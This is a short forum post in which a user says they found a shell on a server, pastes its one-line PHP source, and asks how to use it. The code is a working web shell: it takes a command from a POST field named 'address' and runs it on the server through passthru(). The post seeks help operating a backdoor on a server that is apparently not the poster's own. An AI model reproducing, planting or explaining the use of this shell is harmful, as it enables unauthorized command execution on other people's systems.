HELP ( Shell Problem )

[critford]

Hello ...

I found a shell on a server with this data inside

<?php;$c=$HTTP_POST_VARS[address];if ($c <> ""){print "==========::*-_~^~_-*::==========\n";print "Command: ";print $c;print "\n----------------------------------------\n";passthru(stripslashes($c));}else{header("Location: ");};?>


How can i use this ? It's a header i should use HAS ??

Thanks in advance !!!